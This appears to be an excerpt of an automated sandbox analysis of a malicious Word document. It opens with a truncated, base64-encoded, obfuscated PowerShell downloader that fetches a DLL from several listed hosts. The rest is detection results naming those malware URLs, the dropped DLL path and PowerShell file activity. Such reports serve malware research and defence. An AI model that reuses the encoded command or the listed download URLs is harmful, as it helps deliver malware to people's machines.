MAKQAgACsAIAAkAEgAMgAzAEQAOwAkAEQAOQA0AE0APQAoACgAJwBQADcAJwArACcAMgAnACkAKwAnAFgAJwApADsAIAAoAGcARQBUAC0AdgBhAHIAaQBhAEIAbABlACAAcABiADUAbwAgAC0AVgBBACkAOgA6ACIAYwByAEUAYQBUAGUAZABpAGAAUgBlAEMAdABgAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwA5AGsAJwArACcAdABOAGsAJwApACsAJwAyACcAKwAnAGQAJwArACgAJwB1AGgAYgA5ACcAKwAnAGsAdAAnACsAJwBHAHgAbABoACcAKQArACgAJwA5AGkAJwArACcAYQA5AGsAdAAnACkAKQAuACIAcgBFAGAAUABsAGEAQwBlACIAKAAoACcAOQAnACsAJwBrAHQAJwApACwAJwBcACcAKQApACkAOwAkAEoAOAA3AEgAPQAoACcAUwAnACsAKAAnADMANgAnACsAJwBOACcAKQApADsAIAAoACAAIAB2AGEAUgBJAGEAYgBsAGUAIAAgAE0ANwBhADkAIAAgAC0AVgBBACAAIAApADoAOgAiAFMARQBjAHUAcgBpAFQAWQBwAGAAUgBvAFQAbwBDAGAAbwBMACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAJwApACsAJwAxADIAJwApADsAJABYADIAMgBVAD0AKAAnAEUAJwArACgAJwBfACcAKwAnAF8ARQAnACkAKQA7ACQAUAAyADcAcABxAGUAMwAgAD0AIAAoACcARQA2ACcAKwAnAF8AUgAnACkAOwAkAEYAMwA5AEwAPQAoACgAJwBRACcAKwAnADkANAAnACkAKwAnAFcAJwApADsAJABBAGQAMQByAGEAOABuAD0AJABIAE8ATQBFACsAKAAoACgAJwBLAGkAJwArACcAbQAnACkAKwAoACcATgBrADIAZAAnACsAJwB1AGgAYgAnACkAKwAnAEsAaQAnACsAJwBtACcAKwAoACcARwB4ACcAKwAnAGwAJwApACsAJwBoADkAJwArACgAJwBpACcAKwAnAGEASwBpACcAKQArACcAbQAnACkALQBSAGUAUABsAGEAYwBlACgAWwBDAEgAQQBSAF0ANwA1ACsAWwBDAEgAQQBSAF0AMQAwADUAKwBbAEMASABBAFIAXQAxADAAOQApACwAWwBDAEgAQQBSAF0AOQAyACkAKwAkAFAAMgA3AHAAcQBlADMAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFYAMgA4AFUAPQAoACcAQwA4ACcAKwAnADgASwAnACkAOwAkAE0AcgBpAHEAZAA1ADkAPQAnAGgAJwAgACsAIAAnAHQAdAAnACAAKwAgACcAcAAnADsAJABLAHcAMwA3ADkANAB4AD0AKAAnAHgAIAAnACsAJwBbACcAKwAoACcAIABzAGgAJwArACcAIAAnACkAKwAoACcAYgAnACsAJwA6AC8ALwBjAGEAYgAuAG0AeQAnACsAJwBrAGYAJwApACsAJwBuAC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACcAYQAnACsAKAAnAGQAJwArACcAbQBpAG4AJwApACsAJwAvACcAKwAoACcAWAAvACcAKwAnACEAJwApACsAJwB4ACcAKwAoACcAIAAnACsAJwBbACAAcwAnACkAKwAnAGgAJwArACgAJwAgAGIAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvAGIAaABhACcAKQArACcAawAnACsAJwB0AGkAJwArACgAJwB2AHIAaQBuAGQAJwArACcALgAnACsAJwBjAG8AbQAvAGMAJwApACsAJwBnACcAKwAoACcAaQAnACsAJwAtAGIAaQBuACcAKQArACgAJwAvACcAKwAnAEoAQgBiAGIAJwArACcAOAAnACsAJwAvACEAeAAgAFsAIAAnACkAKwAnAHMAaAAnACsAKAAnACAAYgAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AdgBhAG4AJwArACcAZABkAG4AYQAnACkAKwAoACcAYgBoAGEAcgBnACcAKwAnAGEAJwApACsAJwB2AGUAJwArACgAJwAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAGEAcwBzACcAKwAnAGUAdAAnACkAKwAnAC8AVwAnACsAKAAnADkAbwAnACsAJwAvACcAKQArACcAIQAnACsAJwB4ACAAJwArACcAWwAgACcAKwAoACcAc

                      Signature Overview

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection:

                      barindex
                      Antivirus detection for URL or domainShow sources
                      Source: http://cab.mykfn.com/admin/X/Avira URL Cloud: Label: malware
                      Source: http://gocphongthe.com/wp-content/lMMC/Avira URL Cloud: Label: malware
                      Source: http://ie-best.net/online-timer-kvhxz/ilXL/Avira URL Cloud: Label: malware
                      Source: http://www.letscompareonline.com/de.letscompareonline.com/wYd/Avira URL Cloud: Label: malware
                      Source: http://bhaktivrind.com/cgi-bin/JBbb8/Avira URL Cloud: Label: malware
                      Source: http://cab.mykfn.comAvira URL Cloud: Label: malware
                      Source: http://vanddnabhargave.com/asset/W9o/Avira URL Cloud: Label: malware
                      Multi AV Scanner detection for domain / URLShow sources
                      Source: http://cab.mykfn.com/admin/X/Virustotal: Detection: 15%Perma Link
                      Source: http://gocphongthe.com/wp-content/lMMC/Virustotal: Detection: 10%Perma Link
                      Source: http://ie-best.net/online-timer-kvhxz/ilXL/Virustotal: Detection: 10%Perma Link
                      Multi AV Scanner detection for dropped fileShow sources
                      Source: C:\Users\user\Nk2duhb\Gxlh9ia\E6_R.dllMetadefender: Detection: 48%Perma Link
                      Source: C:\Users\user\Nk2duhb\Gxlh9ia\E6_R.dllReversingLabs: Detection: 85%
                      Multi AV Scanner detection for submitted fileShow sources
                      Source: PO# 01222021.docVirustotal: Detection: 66%Perma Link
                      Source: PO# 01222021.docMetadefender: Detection: 48%Perma Link
                      Source: PO# 01222021.docReversingLabs: Detection: 67%
                      Machine Learning detection for dropped fileShow sources
                      Source: C:\Users\user\Nk2duhb\Gxlh9ia\E6_R.dllJoe Sandbox ML: detected

                      Compliance:

                      barindex
                      Uses new MSVCR DllsShow sources
                      Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
                      Binary contains paths to debug symbolsShow sources
                      Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2092551442.0000000002847000.00000004.00000040.sdmp
                      Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2092551442.0000000002847000.00000004.00000040.sdmp
                      Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2092551442.0000000002847000.00000004.00000040.sdmp
                      Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2092551442.0000000002847000.00000004.00000040.sdmp
                      Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2092551442.0000000002847000.00000004.00000040.sdmp
                      Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2092551442.0000000002847000.00000004.00000040.sdmp
                      Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2097930376.000000001B390000.00000002.00000001.sdmp
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\userJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppDataJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\WindowsJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.iniJump to behavior